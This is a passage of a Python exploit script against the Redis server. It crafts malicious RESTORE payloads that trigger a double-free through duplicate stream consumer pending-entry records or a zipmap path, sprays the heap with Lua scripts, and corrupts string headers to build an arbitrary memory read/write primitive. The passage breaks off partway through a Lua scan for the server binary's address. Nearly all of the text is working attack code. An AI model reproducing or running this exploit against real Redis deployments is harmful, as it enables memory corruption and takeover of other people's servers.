| payload.extend(rdb_encode_length(0)) # cg_offset (for LISTPACKS_2+) | |
| # Global PEL size = 1 | |
| payload.extend(rdb_encode_length(1)) | |
| # Global PEL entry 1: rawid (16 bytes) | |
| rawid = struct.pack(">QQ", master_ms, master_seq) | |
| payload.extend(rawid) | |
| # delivery_time (8 bytes, millisecond time) | |
| delivery_time = 1000000000000 | |
| payload.extend(struct.pack("<q", delivery_time)) | |
| # delivery_count | |
| payload.extend(rdb_encode_length(1)) | |
| # Consumers count = 1 | |
| payload.extend(rdb_encode_length(1)) | |
| # Consumer 1 | |
| cname = b"consumer1" | |
| payload.extend(rdb_encode_length(len(cname))) | |
| payload.extend(cname) | |
| # seen_time (8 bytes) | |
| seen_time = 1000000000000 | |
| payload.extend(struct.pack("<q", seen_time)) | |
| # active_time (8 bytes) - for RDB_TYPE_STREAM_LISTPACKS_3 | |
| #active_time = 1000000000000 | |
| #payload.extend(struct.pack("<q", active_time)) | |
| # Consumer PEL size = 2 (DUPLICATE rawid to trigger the bug!) | |
| payload.extend(rdb_encode_length(2)) | |
| # Consumer PEL entry 1: same rawid | |
| payload.extend(rawid) | |
| # Consumer PEL entry 2: same rawid again (DUPLICATE - triggers double-free!) | |
| payload.extend(rawid) | |
| # Wrap with RDB version and CRC | |
| return make_restore_blob(bytes(payload), rdb_version) | |
| def _stage1_trigger_double_free_way2(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Trigger stream consumer PEL double-free vulnerability. | |
| When loading streams, global PEL entries contain NACK structures that | |
| consumer PEL entries reference. If a consumer has duplicate rawids, | |
| raxTryInsert fails and streamFreeNACK() is called on a shared NACK, | |
| causing a double-free. | |
| Chunk size: 32 bytes (sizeof(streamNACK)). See STAGE1_way2.md for full details. | |
| """ | |
| lua_script = """ | |
| local key_count = tonumber(ARGV[1]) | |
| local key_len = tonumber(ARGV[2]) | |
| local blob = ARGV[3] | |
| for i = 0, key_count - 1 do | |
| local key = string.format("x:%04d", i) | |
| redis.call("SET", key, "x") | |
| end | |
| for i = 0, key_count - 1 do | |
| local key = string.format("x:%04d", i) | |
| redis.call("SETRANGE", key, 1, "X") | |
| end | |
| local ok, err = pcall(function() | |
| return redis.call("RESTORE", "stream:poc", "0", blob) | |
| end) | |
| for i = 0, key_count - 1 do | |
| local key = string.format("x:%04d", i) | |
| redis.call("SETRANGE", key, key_len - 1, "X") | |
| end | |
| for i = 0, key_count - 1 do | |
| local key = string.format("x:%04d", i) | |
| redis.call("SETRANGE", key, 5, "X") | |
| redis.call("SETRANGE", key, 0, string.format("%04d", i)) | |
| end | |
| return true | |
| """ | |
| ctx.way2_key_count = 300 | |
| ctx.way2_key_len = ctx.STREAM_STRUCT_SIZE // 2 - 2 | |
| blob = _build_stream_rdb_payload(ctx.rdb_version) | |
| ctx.redis.send_command(["EVAL", lua_script, "0", str(ctx.way2_key_count), str(ctx.way2_key_len), blob]) | |
| log_milestone("SUCCESS", "Stream double-free triggered") | |
| def stage1_trigger_double_free(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Trigger double-free bug in Redis. | |
| """ | |
| if args.vuln_type == "zipmap": | |
| _stage1_trigger_double_free_way1(args, ctx) | |
| else: | |
| _stage1_trigger_double_free_way2(args, ctx) | |
| ############################################################################### | |
| # Stage 2: Memory Overlap | |
| ############################################################################### | |
| def _stage2_spray_float_keys( | |
| ctx: ExploitContext, | |
| *, | |
| float_prefix: str = "float", | |
| count: int = 100000, | |
| ) -> None: | |
| """ | |
| Spray 100k float keys for stage3's arbitrary R/W primitive. | |
| Uses INCRBYFLOAT to create EMBSTR objects (Redis 7.x) or kvobj (Redis 8.x) | |
| with predictable "1337.NNNNNN05" values. Stage3 scans memview for these | |
| patterns to find a controllable object. | |
| """ | |
| log_start("SPRAY", f"Spraying {count} float keys for heap preparation") | |
| script = """ | |
| local float_prefix = ARGV[1] | |
| local count = tonumber(ARGV[2]) | |
| for i = 0, count - 1 do | |
| local key = string.format("%s:%06d", float_prefix, i) | |
| local value = string.format("1337.%06d05", i + 1) | |
| redis.call("INCRBYFLOAT", key, value) | |
| end | |
| return | |
| """ | |
| ctx.redis.send_command( | |
| [ | |
| "EVAL", | |
| script, | |
| "0", | |
| float_prefix, | |
| str(count), | |
| ] | |
| ) | |
| log_debug("SPRAY", f"Completed spraying {count} float keys") | |
| def _stage2_create_overlap_keys(ctx: ExploitContext) -> List[Tuple[str, bytes]]: | |
| """ | |
| Create keys with unique markers to detect memory aliasing. | |
| Each key gets a distinct fill byte (A-Z). | |
| Returns list of (key, marker) tuples. | |
| """ | |
| log_start("CREATE", "Creating overlap keys with markers A-Z") | |
| keys = [] | |
| marker_len = 1 | |
| for i in range(26): | |
| marker = bytes([ord("A") + i]) | |
| assert marker_len == len(marker) | |
| key = f"hui:{marker.decode('ascii')}" | |
| # Build payload with marker as suffix | |
| payload = MEMVIEW_SDS_HEADER | |
| suffix_len = TYPE1_FIELD_LENGTH - len(payload) | |
| cnt_repeat = suffix_len // marker_len | |
| assert cnt_repeat >= 1 | |
| suffix = marker * cnt_repeat | |
| if len(suffix) > suffix_len: | |
| suffix = suffix[-suffix_len:] | |
| payload += suffix | |
| keys.append((key, marker)) | |
| ctx.redis.send_command(["SET", key, payload]) | |
| log_debug("CREATE", f"Created {len(keys)} overlap keys") | |
| return keys | |
| def _stage2_find_overlapped_keys(ctx: ExploitContext, keys: List[Tuple[str, bytes]]) -> Tuple[str, str]: | |
| """ | |
| Detect which keys share the same memory (double-freed chunk). | |
| Returns tuple of (key1, key2) that are aliased. | |
| """ | |
| log_start("DETECT", "Searching for overlapped key pairs") | |
| marker_len = 1 | |
| overlapped_key_pairs = None | |
| for (key, marker) in keys: | |
| reply = ctx.redis.send_command(["GETRANGE", key, str(TYPE1_FIELD_LENGTH - marker_len), str(TYPE1_FIELD_LENGTH - 1)]) | |
| log_debug("GETRANGE", f"{key} -> {reply!r} (expected {marker!r})") | |
| if reply == marker: | |
| continue | |
| # Marker mismatch - find which key this marker belongs to | |
| for (key2, marker2) in keys: | |
| if reply == marker2: | |
| overlapped_key_pairs = (key, key2) | |
| break | |
| assert overlapped_key_pairs is not None, \ | |
| f"[STAGE {CURRENT_STAGE}] marker for {key} is {reply} but no overlapped key found" | |
| break | |
| assert overlapped_key_pairs is not None, \ | |
| f"[STAGE {CURRENT_STAGE}] No overlapped key pairs found" | |
| key1, key2 = overlapped_key_pairs | |
| log_milestone("FOUND", f"Found overlapped key pair: {key1} and {key2}") | |
| return key1, key2 | |
| def _stage2_corrupt_intset_and_create_memview(ctx: ExploitContext, key1: str, key2: str, keys: List[Tuple[str, bytes]]) -> str: | |
| """ | |
| Trigger intset corruption to create a 1MB memview (old intset approach). | |
| Steps: | |
| 1. Delete key1 to release double-freed memory | |
| 2. Reallocate as intset via SADD (lands on freed chunk) | |
| 3. Corrupt intset length via SETRANGE on overlapping key2 | |
| 4. SREM triggers intsetMoveTail() with corrupted length, overwriting memview SDS header | |
| 5. Find and return the memview key (now reports 1MB+ length) | |
| See STAGE2.md "Alternative: Old Intset Approach" for details. | |
| """ | |
| log_start("CORRUPT", "Corrupting intset to create large memview") | |
| # Delete key1 and reallocate as intset | |
| ctx.redis.send_command(["DEL", key1]) | |
| reply = ctx.redis.send_command(["STRLEN", key2]) | |
| log_debug("STRLEN", f"Length of {key2} before SADD: {reply}") | |
| ctx.redis.send_command(["SADD", ctx.int_set_key, str(_STAGE12_CONST_START + TYPE1_STAGE12_SET_LENGTH + 1)]) | |
| reply = ctx.redis.send_command(["STRLEN", key2]) | |
| log_debug("STRLEN", f"Length of {key2} after SADD: {reply}") | |
| assert reply == 4, f"[STAGE {CURRENT_STAGE}] length for {key2} after SADD is not 4: {reply!r}" | |
| # Corrupt intset length via overlapping key2 | |
| set_length = ctx.redis.send_command(["SCARD", ctx.int_set_key]) | |
| log_debug("SCARD", f"Intset length before corruption: {set_length}") | |
| assert set_length == TYPE1_STAGE12_SET_LENGTH + 1 | |
| ctx.redis.send_command(["SETRANGE", key2, "0", b"\x01"]) | |
| set_length = ctx.redis.send_command(["SCARD", ctx.int_set_key]) | |
| log_debug("SCARD", f"Intset length after corruption: {set_length}") | |
| assert set_length > TYPE1_STAGE12_SET_LENGTH | |
| # Trigger intsetMoveTail() with corrupted length, overwrites memview SDS header | |
| ctx.redis.send_command(["SREM", ctx.int_set_key, str(_STAGE12_CONST_START)]) | |
| # Find the memview key (now reports 1MB+ length) | |
| memview_key = None | |
| for (key, _) in keys: | |
| reply = int(ctx.redis.send_command(["STRLEN", key])) | |
| log_debug("STRLEN", f"{key} -> {reply}") | |
| if reply >= MEMVIEW_LENGTH: | |
| memview_key = key | |
| break | |
| assert memview_key is not None, f"[STAGE {CURRENT_STAGE}] No memview key found" | |
| log_milestone("MEMVIEW", f"Found memview key {memview_key} with length {reply}") | |
| return memview_key | |
| def _stage2_corrupt_via_plain_string_restore_way1(ctx: ExploitContext, key1: str, key2: str, keys: List[Tuple[str, bytes]]) -> str: | |
| """ | |
| Create 1MB memview via plain string RESTORE (zipmap way). | |
| RESTORE creates a plain string (no SDS header prepended) containing our payload. | |
| Two-step corruption: first to sdshdr16 (65535 bytes), then to sdshdr32 (1MB). | |
| See STAGE2.md for details. | |
| """ | |
| log_start("CORRUPT", "Creating memview via plain string RESTORE") | |
| ctx.redis.send_command(["DEL", key1]) | |
| payload = bytearray() | |
| intset_payload_length = TYPE1_FIELD_LENGTH + 5 | |
| total_payload_length = intset_payload_length * 3 | |
| intset_payload = b"\xFF\xFF\xFF\xFF\x02" | |
| intset_payload += b"L" * (intset_payload_length - len(intset_payload)) | |
| payload.append(RDB_TYPE_SET_INTSET) | |
| payload += rdb_encode_length(len(intset_payload)) | |
| payload += intset_payload | |
| payload += b"M" * (total_payload_length - len(payload)) | |
| blob = make_restore_blob(bytes(payload), rdb_version=ctx.rdb_version) | |
| msg = ctx.redis.send_command(["RESTORE", "intset:0", "0", blob], expect_error=True) | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"RESTORE response: {msg}") | |
| key2_length = ctx.redis.send_command(["STRLEN", key2]) | |
| log_info("STAGE2_PLAIN_STRING_RESTORE", f"Key2 length after RESTORE: {key2_length}") | |
| assert key2_length > 60000, f"[STAGE {CURRENT_STAGE}] Key2 length after RESTORE is not greater than 60000: {key2_length}" | |
| data = ctx.redis.send_command(["GETRANGE", key2, str(0), str(key2_length - 1)]) | |
| memview_key = None | |
| for key, marker in keys: | |
| pattern = MEMVIEW_SDS_HEADER + marker | |
| idx = data.find(pattern) | |
| if idx == -1: | |
| continue | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"Found pattern for {key} at {idx} in {key2}") | |
| if idx < len(MEMVIEW_SDS_HEADER): | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"For some reason idx < len(MEMVIEW_KEY_ORIGINAL_PREFIX): {idx}") | |
| continue | |
| ctx.redis.send_command(["SETRANGE", key2, str(idx - len(MEMVIEW_SDS_HEADER)), MEMVIEW_SDS_HEADER]) | |
| new_len = ctx.redis.send_command(["STRLEN", key]) | |
| if new_len < MEMVIEW_LENGTH: | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"New length for {key} is not greater than MEMVIEW_LENGTH: {new_len}") | |
| continue | |
| memview_key = key | |
| break | |
| assert memview_key is not None, f"[STAGE {CURRENT_STAGE}] No memview key found" | |
| log_milestone("STAGE2_PLAIN_STRING_RESTORE", f"Found memview key {memview_key} in {key2}") | |
| return memview_key | |
| def _stage2_create_overlap_and_corrupt_memview_way1(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Orchestrate memory overlap detection and memview creation (zipmap way). | |
| Steps: | |
| 1. Create keys with unique markers (A-Z) | |
| 2. Detect which keys share memory (double-free aliasing) | |
| 3. Create 1MB memview via RESTORE + SETRANGE corruption | |
| """ | |
| # Create keys with unique markers | |
| keys = _stage2_create_overlap_keys(ctx) | |
| # Spray float keys for Stage 3 | |
| _stage2_spray_float_keys(ctx) | |
| key1, key2 = _stage2_find_overlapped_keys(ctx, keys) | |
| if args.plain_string_stage2: | |
| ctx.memview_key = _stage2_corrupt_via_plain_string_restore_way1(ctx, key1, key2, keys) | |
| else: | |
| # Corrupt intset and create memview | |
| ctx.memview_key = _stage2_corrupt_intset_and_create_memview(ctx, key1, key2, keys) | |
| def _stage2_find_overlapped_keys_way2(ctx: ExploitContext) -> Tuple[Optional[str], Optional[str]]: | |
| """ | |
| Extend each marker key to target_size bytes using SETRANGE. | |
| SETRANGE hui:X (target_size - marker_len) X -> extends with marker at end. | |
| This converts EMBSTR to RAW, allocating a new SDS buffer. | |
| Returns: (corrupted_key, corrupting_key) if overlap detected, else (None, None) | |
| """ | |
| for i in range(ctx.way2_key_count): | |
| key = f"x:{i:04d}" | |
| reply = ctx.redis.send_command(["STRLEN", key]) | |
| log_debug("STRLEN", f"Length of {key} -> {reply}") | |
| assert reply == ctx.way2_key_len, f"[STAGE {CURRENT_STAGE}] length for {key} is not {ctx.way2_key_len}: {reply}" | |
| data = ctx.redis.send_command(["GET", key]) | |
| log_debug("GET", f"Data for {key} -> {data!r}") | |
| prefix = data[:4] | |
| suffix = data[4:] | |
| assert suffix == b"\x00X" + b"\x00" * (ctx.way2_key_len - len(prefix) - 3) + b"X", f"[STAGE {CURRENT_STAGE}] suffix for {key} is invalid: {suffix}" | |
| prefix = int(prefix) | |
| if prefix >= 0 and prefix < ctx.way2_key_count and prefix != i: | |
| key1 = f"x:{i:04d}" | |
| key2 = f"x:{prefix:04d}" | |
| return key1, key2 | |
| assert False, "key overlap not found" | |
| def _stage2_corrupt_via_plain_string_restore_way2(ctx: ExploitContext, key1: str, key2: str) -> str: | |
| """ | |
| Create 1MB memview via plain string RESTORE (stream way). | |
| RESTORE creates a plain string containing our payload. | |
| Two-step corruption: first to sdshdr8 (255 bytes), then to sdshdr32 (1MB). | |
| See STAGE2.md for details. | |
| """ | |
| log_start("CORRUPT", "Creating memview via plain string RESTORE") | |
| _stage2_spray_float_keys(ctx) | |
| payload = bytearray() | |
| intset_payload_length = ctx.STREAM_STRUCT_SIZE | |
| total_payload_length = intset_payload_length * 3 | |
| intset_payload = b"\xFF\xFF\x01" | |
| intset_payload += b"L" * (intset_payload_length - len(intset_payload)) | |
| payload.append(RDB_TYPE_SET_INTSET) | |
| payload += rdb_encode_length(len(intset_payload)) | |
| payload += intset_payload | |
| payload += b"M" * (total_payload_length - len(payload)) | |
| blob = make_restore_blob(bytes(payload), rdb_version=ctx.rdb_version) | |
| if ctx.STREAM_STRUCT_SIZE == 24: | |
| # Use Lua script to perform the DEL and SETRANGE commands atomically | |
| lua_script = """ | |
| local way2_key_count = tonumber(ARGV[1]) | |
| local blob = ARGV[2] | |
| local key2 = ARGV[3] | |
| local key1 = ARGV[4] | |
| redis.call("DEL", key1) | |
| for i=1,2 do | |
| local key = string.format("x:%04d", way2_key_count - i) | |
| redis.call("DEL", key) | |
| end | |
| redis.call("SETRANGE", "t1", 0, "x") | |
| redis.call("SETRANGE", "t2", 0, "x") | |
| redis.call("SETRANGE", "t3", 0, "x") | |
| redis.call("SETRANGE", "t4", 0, "x") | |
| redis.call("SETRANGE", "t5", 0, "x") | |
| local ok, err = pcall(function() | |
| return redis.call("RESTORE", "intset:0", "0", blob) | |
| end) | |
| for i=3, 10 do | |
| local key = string.format("x:%04d", way2_key_count - i) | |
| redis.call("DEL", key) | |
| end | |
| return redis.call("STRLEN", key2) | |
| """ | |
| reply = ctx.redis.send_command([ | |
| "EVAL", lua_script, "0", str(ctx.way2_key_count), blob, key2, key1 | |
| ]) | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"strlen response: {reply}") | |
| else: | |
| ctx.redis.send_command(["DEL", key1]) | |
| msg = ctx.redis.send_command(["RESTORE", "intset:0", "0", blob], expect_error=True) | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"RESTORE response: {msg}") | |
| key2_length = ctx.redis.send_command(["STRLEN", key2]) | |
| log_info("STAGE2_PLAIN_STRING_RESTORE", f"Key2 length after RESTORE: {key2_length}") | |
| assert key2_length >= 100, f"[STAGE {CURRENT_STAGE}] Key2 length after RESTORE is not less than 128: {key2_length}" | |
| data = ctx.redis.send_command(["GETRANGE", key2, str(0), str(min(key2_length - 1, 255))]) | |
| log_debug("GETRANGE", f"{key2} -> {data}") | |
| memview_key = None | |
| for i in range(ctx.way2_key_count): | |
| key = f"x:{i:04d}" | |
| if key == key1 or key == key2: | |
| continue | |
| pattern = bytearray(ctx.way2_key_len) | |
| pattern[:4] = f"{i:04d}".encode() | |
| pattern[5] = ord('X') | |
| pattern[ctx.way2_key_len - 1] = ord('X') | |
| idx = data.find(pattern) | |
| if idx == -1: | |
| continue | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"Found pattern for {key} at {idx} in {key2}") | |
| if idx < len(MEMVIEW_SDS_HEADER): | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"For some reason idx < len(MEMVIEW_KEY_ORIGINAL_PREFIX): {idx}") | |
| continue | |
| ctx.redis.send_command(["SETRANGE", key2, str(idx), 'z']) | |
| data = ctx.redis.send_command(["GETRANGE", key, str(0), str(0)]) | |
| if data != b'z': | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"Data for {key} is not controlled, skipping") | |
| continue | |
| log_milestone("STAGE2_PLAIN_STRING_RESTORE", f"Data for {key} is controlled via {key2}") | |
| key2_len = ctx.redis.send_command(["STRLEN", key2]) | |
| log_debug("strlen", f"length of {key2} before SETRANGE: {key2_len}") | |
| old_len = ctx.redis.send_command(["STRLEN", key]) | |
| log_debug("strlen", f"length of {key} before SETRANGE: {old_len}") | |
| # write pattern byte by byte - otherwise we'll get an overwrite error | |
| for p in range(len(MEMVIEW_SDS_HEADER)): | |
| ctx.redis.send_command(["SETRANGE", key2, str(idx - len(MEMVIEW_SDS_HEADER) + p), bytes([MEMVIEW_SDS_HEADER[p]])]) | |
| key2_len = ctx.redis.send_command(["STRLEN", key2]) | |
| log_debug("strlen", f"length of {key2} after SETRANGE: {key2_len}") | |
| new_len = ctx.redis.send_command(["STRLEN", key]) | |
| log_debug("strlen", f"length of {key} after SETRANGE: {new_len}") | |
| if new_len < MEMVIEW_LENGTH: | |
| log_debug("STAGE2_PLAIN_STRING_RESTORE", f"New length for {key} is not greater than MEMVIEW_LENGTH: {new_len}") | |
| continue | |
| memview_key = key | |
| break | |
| assert memview_key is not None, f"[STAGE {CURRENT_STAGE}] No memview key found" | |
| log_milestone("STAGE2_PLAIN_STRING_RESTORE", f"Found memview key {memview_key} in {key2}") | |
| return memview_key | |
| def _stage2_create_overlap_and_corrupt_memview_way2(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| key1, key2 = _stage2_find_overlapped_keys_way2(ctx) | |
| log_milestone("SUCCESS", f"Found overlapped keys: {key1} and {key2}") | |
| ctx.memview_key = _stage2_corrupt_via_plain_string_restore_way2(ctx, key1, key2) | |
| log_milestone("SUCCESS", f"Created memview key: {ctx.memview_key}") | |
| def stage2_create_memory_overlap(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Create overlapping objects and corrupt SDS header to get 1MB memview. | |
| Uses the double-freed memory to create overlapping keys. RESTORE creates | |
| a plain string that overwrites an overlapping key's SDS header. Two-step | |
| corruption expands visible range: sdshdr16/8 first, then sdshdr32 (1MB). | |
| The 1MB limit avoids RDB corruption if SAVE occurs. | |
| See STAGE2.md for full technical details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| # Create overlap and corrupt memview header to get ~4GB string | |
| if args.vuln_type == "zipmap": | |
| _stage2_create_overlap_and_corrupt_memview_way1(args, ctx) | |
| else: | |
| _stage2_create_overlap_and_corrupt_memview_way2(args, ctx) | |
| # Verify memview is now huge | |
| memview_len = int(ctx.redis.send_command(["STRLEN", ctx.memview_key])) | |
| assert memview_len >= MEMVIEW_LENGTH, f"[STAGE {CURRENT_STAGE}] memview too small: {memview_len}" | |
| ############################################################################### | |
| # Stage 3: Arbitrary R/W Primitive | |
| ############################################################################### | |
| def _stage3_verify_controlled_key(ctx: ExploitContext, controlled_key: str, memview_key: str, value_data_offset: int) -> bool: | |
| """ | |
| Verify we can control the key by modifying it via memview. | |
| Returns True if control is confirmed, False otherwise. | |
| """ | |
| old_value = ctx.redis.send_command(["GET", controlled_key]) | |
| log_debug("TEST", f"Testing control of {controlled_key}, current value: {old_value!r}") | |
| old_data = ctx.redis.send_command(["GETRANGE", memview_key, str(value_data_offset), str(value_data_offset + 2)]) | |
| if len(old_data) != 3: | |
| log_debug("TEST", f"Old data at {value_data_offset} is not 3 bytes: {len(old_data)}") | |
| return False | |
| # Modify via memview | |
| ctx.redis.send_command(["SETRANGE", memview_key, str(value_data_offset), b"hui"]) | |
| new_value = ctx.redis.send_command(["GET", controlled_key]) | |
| if new_value == old_value: | |
| log_debug("TEST", f"Value unchanged, no control over {controlled_key}") | |
| ctx.redis.send_command(["SETRANGE", memview_key, str(value_data_offset), old_data]) | |
| return False | |
| log_milestone("CONTROL", f"Successfully verified control of key {controlled_key}") | |
| return True | |
| def _stage3_validate_new_format_candidate(ctx: ExploitContext, data: bytes, value_idx: int, digits_end: int, six_digits: bytes) -> Optional[int]: | |
| """ | |
| Validate candidate for new Redis 8.x format: | |
| <ptr><any byte>`float:<6 digits>\x00<any byte><any byte>1337.<same 6 digits> | |
| Returns ptr_idx if valid, None otherwise. | |
| """ | |
| ptr_idx = value_idx - (8 + 1 + len(b"`float:") + 6 + 1 + 3) | |
| if ptr_idx < 0: | |
| log_debug("VALIDATE", f"ptr_idx < 0: {ptr_idx}") | |
| return None | |
| candidate = data[ptr_idx:digits_end] | |
| # Check ptr is in heap range | |
| ptr = int.from_bytes(candidate[:8], "little", signed=False) | |
| if ptr < ctx.HEAP_ADDR_MIN or ptr > ctx.HEAP_ADDR_MAX: | |
| log_debug("VALIDATE", f"Ptr not in heap: {ptr:016x}") | |
| return None | |
| # Check "`float:" marker | |
| candidate = candidate[9:] | |
| if candidate[:7] != b"`float:": | |
| log_debug("VALIDATE", f"Missing `float: marker, got: {candidate[:7]!r}") | |
| return None | |
| candidate = candidate[len(b"`float:"):] | |
| # Validate key digits | |
| key_digits = candidate[:6] | |
| if not all(ord('0') <= c <= ord('9') for c in key_digits): | |
| log_debug("VALIDATE", f"Invalid key digits: {key_digits!r}") | |
| return None | |
| if candidate[6] != 0: | |
| log_debug("VALIDATE", f"Missing null terminator, got: {candidate[6]}") | |
| return None | |
| # Verify key_digits + 1 == six_digits | |
| if int(key_digits) + 1 != int(six_digits): | |
| log_debug("VALIDATE", f"Digit mismatch: {key_digits} + 1 != {six_digits}") | |
| return None | |
| log_debug("VALIDATE", f"New format validated at ptr_idx={ptr_idx}") | |
| return ptr_idx | |
| def _stage3_validate_old_format_candidate(ctx: ExploitContext, data: bytes, value_idx: int, digits_end: int) -> Optional[int]: | |
| """ | |
| Validate candidate for old Redis 7.x format: | |
| <ref_count><ptr><sds_hdr>1337.<6 digits> | |
| Returns ptr_idx if valid, None otherwise. | |
| """ | |
| struct_idx = value_idx - (3 + 8 + 4) | |
| if struct_idx < 0: | |
| return None | |
| candidate = data[struct_idx:digits_end] | |
| # Check ref count | |
| ref_count = int.from_bytes(candidate[:4], "little", signed=False) | |
| if ref_count != 1: | |
| return None | |
| ptr_idx = struct_idx + 4 | |
| # Check ptr is in heap range | |
| ptr = int.from_bytes(candidate[4:12], "little", signed=False) | |
| if ptr < ctx.HEAP_ADDR_MIN or ptr > ctx.HEAP_ADDR_MAX: | |
| return None | |
| # Check SDS header | |
| sds_hdr = candidate[12:15] | |
| if sds_hdr != b"\x16\x16\x01": | |
| return None | |
| log_debug("VALIDATE", f"Old format validated at ptr_idx={ptr_idx}") | |
| return ptr_idx | |
| def _stage3_find_float_key(ctx: ExploitContext) -> Tuple[str, int, int]: | |
| """ | |
| Scan memview to find a controllable float key. | |
| Searches for the pattern "1337.NNNNN" in memview, then validates | |
| the corresponding float key structure and verifies we can control it. | |
| Returns: (controlled_key, controlled_ptr_offset, memview_base_addr) | |
| """ | |
| log_start("SCAN", "Scanning memview for controllable float keys") | |
| memview_key = ctx.memview_key | |
| offset = 0 | |
| step = 65536 | |
| while True: | |
| log_debug("PROGRESS", f"Scanning at offset {offset:#x}") | |
| # Read chunk of memview | |
| data = ctx.redis.send_command(["GETRANGE", memview_key, str(offset), str(offset + step - 1)]) | |
| assert data, "Empty data from memview" | |
| start_search = 0 | |
| while True: | |
| # Search for "1337.NNNNNN" pattern | |
| value_idx = data.find(b"1337.", start_search) | |
| if value_idx == -1: | |
| break # No more candidates in this chunk | |
| start_search = value_idx + 1 | |
| # Extract and validate the 6 digits | |
| digits_start = value_idx + len(b"1337.") | |
| digits_end = digits_start + 6 | |
| if digits_end > len(data): | |
| continue | |
| digits = data[digits_start:digits_end] | |
| if not all(ord('0') <= c <= ord('9') for c in digits): | |
| log_debug("SCAN", f"Invalid digits: {digits!r}") | |
| continue | |
| six_digits = digits | |
| controlled_key = f"float:{int(six_digits)-1:06d}" | |
| value_data_offset = offset + value_idx | |
| log_debug("CANDIDATE", f"Found pattern at offset {value_data_offset}, testing {controlled_key}") | |
| # Verify we can control this key via memview | |
| if not _stage3_verify_controlled_key(ctx, controlled_key, memview_key, value_data_offset): | |
| continue | |
| # Try to validate format (new format first, then old) | |
| ptr_idx = _stage3_validate_new_format_candidate(ctx, data, value_idx, digits_end, six_digits) | |
| if ptr_idx is None: | |
| ptr_idx = _stage3_validate_old_format_candidate(ctx, data, value_idx, digits_end) | |
| if ptr_idx is None: | |
| log_debug("FORMAT", f"Failed to validate format for {controlled_key}") | |
| continue | |
| # Success! Calculate addresses | |
| key_ptr_offset = offset + ptr_idx | |
| ptr_bytes = ctx.redis.send_command(["GETRANGE", memview_key, str(key_ptr_offset), str(key_ptr_offset + 0x7)]) | |
| controlled_original_ptr = int.from_bytes(ptr_bytes, "little", signed=False) | |
| log_debug("PTR", f"Loaded ptr: {controlled_original_ptr:016x}") | |
| memview_base_addr = controlled_original_ptr - value_data_offset | |
| log_milestone("FOUND", f"Calculated memview base address: {memview_base_addr:016x}") | |
| return controlled_key, key_ptr_offset, memview_base_addr | |
| # Move to next chunk | |
| offset += step | |
| if offset > 10 * 1024 * 1024: # Safety limit at 10MB | |
| break | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find float key pattern") | |
| def stage3_find_controllable_object(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Find a float key we can control via memview to get arbitrary R/W. | |
| Strategy: | |
| 1. Scan memview for "1337.NNNNNN" pattern (sprayed in stage2) | |
| 2. Validate struct layout (Redis 8.x kvobj vs 7.x EMBSTR) | |
| 3. Verify control by modifying via memview, checking via GET | |
| 4. Calculate memview base address from the ptr field value | |
| Result: Arbitrary read/write via redirecting the float key's pointer. | |
| See STAGE3.md for full technical details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| assert ctx.memview_key is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage2 first" | |
| # Find float key pattern in memview and get all values | |
| controlled_key, controlled_ptr_offset, memview_base_addr = _stage3_find_float_key(ctx) | |
| # Store values in context | |
| ctx.controlled_key = controlled_key | |
| ctx.controlled_ptr_offset = controlled_ptr_offset | |
| ctx.memview_base_addr = memview_base_addr | |
| ############################################################################### | |
| # Stage 4: Find Binary Address | |
| ############################################################################### | |
| def _stage4_scan_memory_backward_lua( | |
| ctx: ExploitContext, | |
| start_addr: int, | |
| description: str, | |
| max_iterations: int = 10_000_000 | |
| ) -> int: | |
| """Scan backwards through memory using Lua with full validation logic. | |
| Uses STRLEN as probe (returns 0 on invalid SDS, doesn't crash). | |
| Validates candidates: PIE range, byte diversity, alignment checks. | |
| """ | |
| assert ctx.redis is not None | |
| assert ctx.controlled_key and ctx.controlled_ptr_offset is not None | |
| # Full Lua implementation with validation | |
| lua_full_scan_script = """ | |
| local memview_key = ARGV[1] | |
| local controlled_key = ARGV[2] | |
| local ptr_offset = tonumber(ARGV[3]) | |
| local start_ptr = tonumber(ARGV[4]) | |
| local last_ptr = tonumber(ARGV[5]) | |
| local binary_addr_min = tonumber(ARGV[6]) | |
| local binary_addr_max = tonumber(ARGV[7]) | |
| local max_iters = 10000 | |
| -- Convert start_ptr to byte array (little-endian, 8 bytes) | |
| local ptr_bytes = {} | |
| local p = start_ptr | |
| for j = 1, 8 do | |
| ptr_bytes[j] = p % 256 | |
| p = math.floor(p / 256) | |
| end | |
| -- Helper function to decrement byte array (base-256 arithmetic) | |
| local function decrement_bytes(bytes) | |
| for i = 1, 8 do | |
| if bytes[i] > 0 then | |
| bytes[i] = bytes[i] - 1 | |
| break | |
| else | |
| bytes[i] = 255 -- Borrow from next byte | |
| end | |
| end | |
| end | |
| -- Helper function to convert byte array to string | |
| local function bytes_to_string(bytes) | |
| local s = "" | |
| for i = 1, 8 do | |
| s = s .. string.char(bytes[i]) | |
| end | |
| return s | |
| end | |
| -- Helper function to convert byte array back to number | |
| local function bytes_to_number(bytes) | |
| local result = 0 | |
| local multiplier = 1 | |
| for i = 1, 8 do | |
| result = result + bytes[i] * multiplier | |
| multiplier = multiplier * 256 | |
| end | |
| return result | |
| end | |
| -- Helper to extract 64-bit little-endian value from string at offset | |
| local function extract_u64_le(data, offset) | |
| local result = 0 | |
| local multiplier = 1 | |
| for i = 0, 7 do | |
| local byte_val = string.byte(data, offset + i + 1) | |
| if not byte_val then return nil end | |
| result = result + byte_val * multiplier | |
